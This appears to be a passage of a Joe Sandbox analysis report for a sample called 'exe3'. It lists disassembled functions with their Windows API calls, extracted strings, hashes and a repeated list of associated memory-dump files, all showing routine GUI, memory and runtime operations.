Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Menu$Destroy$AcceleratorTableWindow
String ID:
API String ID: 1240299919-0
Opcode ID: 2507ade98603f15bb13a7d26c00faf4a5d234a732e3df4c727fdb0d9a9e8e55a
Instruction ID: 95f16d5dfa8b17f1bfb2e9f917f4de57c7bbdb274cf859b65c759ab0e62837fd
Opcode Fuzzy Hash: 2507ade98603f15bb13a7d26c00faf4a5d234a732e3df4c727fdb0d9a9e8e55a
Instruction Fuzzy Hash: B631A1726002166FC720EF65DC45D6BB7A8EF85348F014A2DF94597252EA38F905CBA8

Function 004A83A1 Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004A83A6
GetParent.USER32(?), ref: 004A83E3
SendMessageA.USER32(?,00000464,00000104,00000000), ref: 004A840B
GetParent.USER32(?), ref: 004A8434
SendMessageA.USER32(?,00000465,00000104,00000000), ref: 004A8451

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: MessageParentSend$H_prolog
String ID:
API String ID: 1056721960-0
Opcode ID: 5b97d8ced95f30a1178a4ee5b80c41495608ea0fa014f49923b4b1573e1521a3
Instruction ID: d86702630d7a75abed3a87e6652e3f5d3562ee1f6c76a4519769a0c64622e0e3
Opcode Fuzzy Hash: 5b97d8ced95f30a1178a4ee5b80c41495608ea0fa014f49923b4b1573e1521a3
Instruction Fuzzy Hash: FE317071500216ABCF14EBA5CC45EAEB778FF26368F10452EF521A71E1EB389D05CB18

Function 004244B0 Relevance: 7.6, APIs: 5, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 004B09F7: __EH_prolog.LIBCMT ref: 004B09FC

GetClientRect.USER32 ref: 004244F2
GetWindowRect.USER32(?,?), ref: 00424501

Part of subcall function 004B07B1: ScreenToClient.USER32(?,00000000), ref: 004B07C5
Part of subcall function 004B07B1: ScreenToClient.USER32(?,00000008), ref: 004B07CE

OffsetRect.USER32(?,?,?), ref: 0042452C

Part of subcall function 004B06EE: ExcludeClipRect.GDI32(?,?,?,?,?,7694A5C0,?,?,0042453C,?), ref: 004B0713
Part of subcall function 004B06EE: ExcludeClipRect.GDI32(?,?,?,?,?,7694A5C0,?,?,0042453C,?), ref: 004B0728

OffsetRect.USER32(?,?,?), ref: 0042454F
FillRect.USER32(?,?,?), ref: 0042456A

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Rect$Client$ClipExcludeOffsetScreen$FillH_prologWindow
String ID:
API String ID: 1774338468-0
Opcode ID: d32026b0e9dbaf5a14fe3b6ff565a7bbafde37695ac80203fa7b036f5a6e5c49
Instruction ID: 359c2157da6b46ed0673700be7e5e780c3340fb1f58975e02d3608eadb3b8d51
Opcode Fuzzy Hash: d32026b0e9dbaf5a14fe3b6ff565a7bbafde37695ac80203fa7b036f5a6e5c49
Instruction Fuzzy Hash: 37314F76208302AFD714DF64C845FABB7E8EBD8714F008A1DF59687290DB78E905CB66

Function 004AE786 Relevance: 7.6, APIs: 5, Instructions: 65memorystringCOMMON

Download Yara Rule

APIs

GlobalFix.KERNEL32(?), ref: 004AE7A6
lstrcmp.KERNEL32(?,?), ref: 004AE7B2
74AF6000.WINSPOOL.DRV(?,?,00000000), ref: 004AE7C4
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 004AE7EF
GlobalFix.KERNEL32(00000000), ref: 004AE7FC

Part of subcall function 004B160A: GlobalFlags.KERNEL32(?), ref: 004B1614
Part of subcall function 004B160A: GlobalUnWire.KERNEL32(?), ref: 004B162B
Part of subcall function 004B160A: GlobalFree.KERNEL32(?), ref: 004B1636

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Global$AllocF6000.FlagsFreeWirelstrcmp
String ID:
API String ID: 3068878555-0
Opcode ID: ec56b031c9069100de8a1420810ed5362505efc73e4dc2cadf02e3153f3444a7
Instruction ID: fdd6408df3f693af10a42e21bed523acf747022952d0ab10dc500d6e7f873cb5
Opcode Fuzzy Hash: ec56b031c9069100de8a1420810ed5362505efc73e4dc2cadf02e3153f3444a7
Instruction Fuzzy Hash: 48114F71500104BFDB21AB76CC89EABBBADEB85744F00042EF619D6122D6799D40D778

Function 004AC51D Relevance: 7.6, APIs: 5, Instructions: 52stringregistryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004AC522
GetClassInfoA.USER32(?,?,?), ref: 004AC53D
RegisterClassA.USER32(?), ref: 004AC548
lstrcat.KERNEL32(00000034,?), ref: 004AC57F
lstrcat.KERNEL32(00000034,?), ref: 004AC58D

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Classlstrcat$H_prologInfoRegister
String ID:
API String ID: 106226465-0
Opcode ID: 8fda56e6925940648b05888f5714fa7b01e982be6206c68dd1b98a1d3425fec2
Instruction ID: c09631f070a714d2ab4464ca315a4fda4d9c720e7e31b3458f7ca1b018236a1b
Opcode Fuzzy Hash: 8fda56e6925940648b05888f5714fa7b01e982be6206c68dd1b98a1d3425fec2
Instruction Fuzzy Hash: AF110836900254BFCB11AFA59C81ADE7FB8EF16714F00456FF906A7151C778AA00CB79

Function 005970C3 Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 005970DB
_free.LIBCMT ref: 005970ED
_free.LIBCMT ref: 005970FF
_free.LIBCMT ref: 00597111
_free.LIBCMT ref: 00597123

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: e22f4bab7a37683b728e585ded360982a8286f27c5e9b9a711042b00132ba8d7
Instruction ID: ff30511a6936d932f8efda578fc00c2a9a745e113fd943329e6a29814b121817
Opcode Fuzzy Hash: e22f4bab7a37683b728e585ded360982a8286f27c5e9b9a711042b00132ba8d7
Instruction Fuzzy Hash: B3F0FF32518215E7CA31EB58F8CEC1A7BFABA447207544C16F449E7551DB74FC80CA64

Function 00562A70 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00562CA2

Strings

|3E, xrefs: 00562B5D, 00562CE0
|3E, xrefs: 00562D53, 00562D56
|3E, xrefs: 00562D57, 00562D67, 00562D83, 00562A93, 00562D71

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: |3E$|3E$|3E
API String ID: 2659868963-1276183312
Opcode ID: 2fc3e0e4927c18b3cce1fe89511c0893b6cd80c6900417610d8887a138f67384
Instruction ID: 93942da2087d5a4199fecf2f222b602e68c563caddeb56fdbfbf5c63a49801f1
Opcode Fuzzy Hash: 2fc3e0e4927c18b3cce1fe89511c0893b6cd80c6900417610d8887a138f67384
Instruction Fuzzy Hash: F4B1B371D006489FDB14DFA8D885A9EFFB5FF48310F14862DE819AB382DB74A944CB91

Function 0042CCB0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

Part of subcall function 004306B0: GetCurrentThreadId.KERNEL32 ref: 004306D5
Part of subcall function 004306B0: IsWindow.USER32(00020402), ref: 004306F1
Part of subcall function 004306B0: SendMessageA.USER32(00020402,000083E7,?,00000000), ref: 0043070A
Part of subcall function 004306B0: ExitProcess.KERNEL32 ref: 0043071F

RtlDeleteCriticalSection.NTDLL(00CD8540), ref: 0042CCEA

Part of subcall function 004AC00B: __EH_prolog.LIBCMT ref: 004AC010

Strings

>K, xrefs: 0042CCD0
#, xrefs: 0042CF63
!, xrefs: 0042CCD8

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CriticalCurrentDeleteExitH_prologMessageProcessSectionSendThreadWindow
String ID: !$#$>K
API String ID: 2888814780-3993987623
Opcode ID: b3a5852f59599fe8707d6fa83ccdc9f2c9310e341522ea887e206b83182e6adb
Instruction ID: 08fb1054540ff1f04e3361a432a19a0092c3fbc347f5344b4a19dfd182ebd5b9
Opcode Fuzzy Hash: b3a5852f59599fe8707d6fa83ccdc9f2c9310e341522ea887e206b83182e6adb
Instruction Fuzzy Hash: A9916F70118782CAD315DF74C08479AFFE46F65349F64088EE4DA16392EBB86248C7B7

Function 0044CEE0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 157COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0044CF1F
CreateFontIndirectA.GDI32(00000028), ref: 0044CF88
GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 0044CFCF

Strings

(, xrefs: 0044CF74

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CreateExtentFontIndirectPoint32Textwsprintf
String ID: (
API String ID: 3175173087-3887548279
Opcode ID: d047f6de84930ef2ef9f13dc726114c91a2c1a4e7f731748ee0deda2cb545341
Instruction ID: 4e2ffb5421e1901022709f891ec60de908212f71202b455f4806562fda3c28f4
Opcode Fuzzy Hash: d047f6de84930ef2ef9f13dc726114c91a2c1a4e7f731748ee0deda2cb545341
Instruction Fuzzy Hash: D15193712083458FD324DF28C885B6FB7E5FB88304F144A1EE59683391DBB59D0ACB96

Function 00487070 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

__ftol.LIBCMT ref: 00487085
__ftol.LIBCMT ref: 004870D9

Strings

VUUU, xrefs: 00487113
gfff, xrefs: 0048714D

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: __ftol
String ID: VUUU$gfff
API String ID: 495808979-2662692612
Opcode ID: d228b37d8b73984633f960d020d8fbf4137d70cbbe4f47cb4467d26f21566430
Instruction ID: 802726485e5a252e076010f6017238d3d53540eeff0f0c2554c813e09b422873
Opcode Fuzzy Hash: d228b37d8b73984633f960d020d8fbf4137d70cbbe4f47cb4467d26f21566430
Instruction Fuzzy Hash: 30318FB3F0466107C7185E2F9CA422DF286A3D5314B265A3EE86ADB391DD75CC458389

Function 004A694A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

Part of subcall function 004A0834: RtlInitializeCriticalSection.NTDLL(00000000), ref: 004A0871
Part of subcall function 004A0834: RtlEnterCriticalSection.NTDLL(?), ref: 004A088C

RtlInitializeCriticalSection.NTDLL(00000068), ref: 004A699D
RtlEnterCriticalSection.NTDLL(00000068), ref: 004A69B2
RtlLeaveCriticalSection.NTDLL(00000068), ref: 004A69BF

Strings

, xrefs: 004A69F3

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterInitialize$Leave
String ID:
API String ID: 713024617-3916222277
Opcode ID: f5b550d68b74f08299fbe62529904f391f5e3c5b7bc570622beb8148399aabb6
Instruction ID: a2963368393e30ce2027297d4c2d21ae00b1efad16c2990a95c312b737843cf2
Opcode Fuzzy Hash: f5b550d68b74f08299fbe62529904f391f5e3c5b7bc570622beb8148399aabb6
Instruction Fuzzy Hash: 2F3168B25013008FD714DF24DC84B6B77D5FF66328F1A8A2EE266472C1C7789844C75A

Function 00562550 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0056257D
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 005625CC
__CxxThrowException@8.LIBVCRUNTIME ref: 005625FE

Strings

.V, xrefs: 005625BF, 005625CA

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
String ID: .V
API String ID: 3707412701-4197726324
Opcode ID: 3a31e7b7f4397a0eb70ce529a20dc90d206baaeb782902d40a84622f557d2644
Instruction ID: c0555f5498f5f6921fd26bd90d18bb9fdae7dcc9128d8712464c8692f897adff
Opcode Fuzzy Hash: 3a31e7b7f4397a0eb70ce529a20dc90d206baaeb782902d40a84622f557d2644
Instruction Fuzzy Hash: 4D118E719047449FD321CF68C805B4BBBF8FF19B10F108A6EE459D3A81D779A608CB95

Function 00452860 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 63windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004A812C: __EH_prolog.LIBCMT ref: 004A8131
Part of subcall function 004A812C: lstrcpyn.KERNEL32(?,?,00000104), ref: 004A821E

Part of subcall function 004A82C6: lstrlen.KERNEL32(?,?,?,0000000C,?,?,0043C449,?,-00000001,00000000,?,?,?,00BEFCB8), ref: 004A82D0
Part of subcall function 004A82C6: GetFocus.USER32 ref: 004A82EB
Part of subcall function 004A82C6: IsWindowEnabled.USER32(?), ref: 004A8314
Part of subcall function 004A82C6: EnableWindow.USER32(?,00000000), ref: 004A8326
Part of subcall function 004A82C6: EnableWindow.USER32(?,00000001), ref: 004A836F
Part of subcall function 004A82C6: IsWindow.USER32(?), ref: 004A8375
Part of subcall function 004A82C6: SetFocus.USER32(?), ref: 004A8383

Part of subcall function 004A83A1: __EH_prolog.LIBCMT ref: 004A83A6
Part of subcall function 004A83A1: GetParent.USER32(?), ref: 004A83E3
Part of subcall function 004A83A1: SendMessageA.USER32(?,00000464,00000104,00000000), ref: 004A840B
Part of subcall function 004A83A1: GetParent.USER32(?), ref: 004A8434
Part of subcall function 004A83A1: SendMessageA.USER32(?,00000465,00000104,00000000), ref: 004A8451

Part of subcall function 004AE281: SetWindowTextA.USER32(?,0043ABAA), ref: 004AE28F

Part of subcall function 004A9F7A: InterlockedDecrement.KERNEL32(-000000F4), ref: 004A9F8E

SendMessageA.USER32(?,000000B1,00000000,000000FF), ref: 0045290D
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 0045291C

Part of subcall function 004AE3BC: SetFocus.USER32(?,0042F773), ref: 004AE3C6

Strings

prn, xrefs: 0045288E
out.prn, xrefs: 00452889

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
